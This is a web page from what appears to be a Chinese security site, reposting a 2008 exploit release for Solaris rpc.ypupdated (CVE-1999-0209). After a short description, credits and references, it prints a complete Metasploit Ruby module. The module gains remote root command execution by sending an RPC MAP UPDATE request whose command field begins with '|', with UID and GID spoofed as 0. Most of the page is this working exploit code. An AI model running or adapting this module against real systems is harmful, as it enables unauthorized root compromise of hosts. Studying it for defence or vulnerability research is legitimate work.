首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sun Solaris <= 10 rpc.ypupdated Remote Root Exploit (meta)
来源:http://www.caughq.org 作者: 发布时间:2008-04-07  
                      ____      ____     __    __
                     /    \    /    \   |  |  |  |
        ----====####/  /\__\##/  /\  \##|  |##|  |####====----
                   |  |      |  |__|  | |  |  |  |
                   |  |  ___ |   __   | |  |  |  |
  ------======######\  \/  /#|  |##|  |#|  |##|  |######======------
                     \____/  |__|  |__|  \______/
                                                    
                    Computer Academic Underground
                        http://www.caughq.org
                            Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2008-0001
Release Date:   2008.04.04
Title:          ypupdated_exec.rb
Description:    Solaris ypupdated Command Execution
Tested:         Solaris x86/sparc 10, sparc 9, 8, 2.7
Attributes:     Remote, NULL Auth, Elevated Privileges, Metasploit
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0001.txt
Author/Email:   I)ruid <druid (@) caughq.org>
===============/========================================================

Description
===========

This exploit targets a weakness in the way the ypupdated RPC application
uses the command shell when handling a MAP UPDATE request.  Extra
commands may be launched through this command shell, which runs as root
on the remote host, by passing commands in the format '|<command>'.


Credits
=======

Josh D. <mcpheea@cadvision.com> from Avalon Security Research is
credited with originally discovering this vulnerability.

This Metasploit exploit module was modeled after kcope's exploit
released to Milw0rm on 2008.03.20.


References
==========

http://osvdb.org/displayvuln.php?osvdb_id=11517
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0209
http://www.securityfocus.com/bid/1749/info
http://www.milw0rm.com/exploits/5282


Metasploit
==========

require 'msf/core'

module Msf

class Exploits::Solaris::Sunrpc::YPUpdateDExec < Msf::Exploit::Remote

include Exploit::Remote::SunRPC

def initialize(info = {})
super(update_info(info,
'Name'           => 'Solaris ypupdated Command Execution',
'Description'    => %q{
This exploit targets a weakness in the way the ypupdated RPC
application uses the command shell when handling a MAP UPDATE
request.  Extra commands may be launched through this command
shell, which runs as root on the remote host, by passing
commands in the format '|<command>'.

Vulnerable systems include Solaris 2.7, 8, 9, and 10, when
ypupdated is started with the '-i' command-line option.
},
'Author'         => [ 'I)ruid <druid@caughq.org>' ],
'License'        => MSF_LICENSE,
'Version'        => '$Revision: 4498 $',
'References'     =>
[
['BID', '1749'],
['CVE', '1999-0209'],
['OSVDB', '11517'],
],
'Privileged'     => true,
'Platform'       => ['unix', 'solaris'],
'Arch'           => ARCH_CMD,
'Payload'        =>
{
'Space'    => 1024,
'DisableNops' => true,
},
'Targets'        => [ ['Automatic', { }], ],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']),
OptInt.new('GID', [false, 'GID to emulate', 0]),
OptInt.new('UID', [false, 'UID to emulate', 0])
], self.class
)
end

def exploit
hostname  = datastore['HOSTNAME']
program   = 100028
progver   = 1
procedure = 1

print_status 'Sending PortMap request for ypupdated program'
pport = sunrpc_create('udp', program, progver)

print_status "Sending MAP UPDATE request with command '#{payload.encoded}'"
print_status 'Waiting for response...'
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
command = '|' + payload.encoded
msg = XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
sunrpc_call(procedure, msg)

sunrpc_destroy

print_good 'No Errors, appears to have succeeded!'
rescue ::Rex::Proto::SunRPC::RPCTimeout
print_status 'Warning: ' + $!
print_status 'Exploit may or may not have succeeded.'
end

end
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MS Visual Basic Enterprise Ed.
·Picture Rating 1.0 Blind SQL I
·SCO UnixWare Merge mcd Local R
·Apache Tomcat Connector jk2-2.
·SCO UnixWare Reliant HA Local
·SCO UnixWare < 7.1.4 p534589 (
·Drake CMS <= 0.4.11 Remote Bli
·Xitami Web Server v2.5c2 LRWP
·LinPHA <= 1.3.2 (maps plugin)
·Microsoft Visual InterDev 6.0
·Data Dynamics ActiveBar (Actba
·XnView 1.92.1 Slideshow (FontN
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved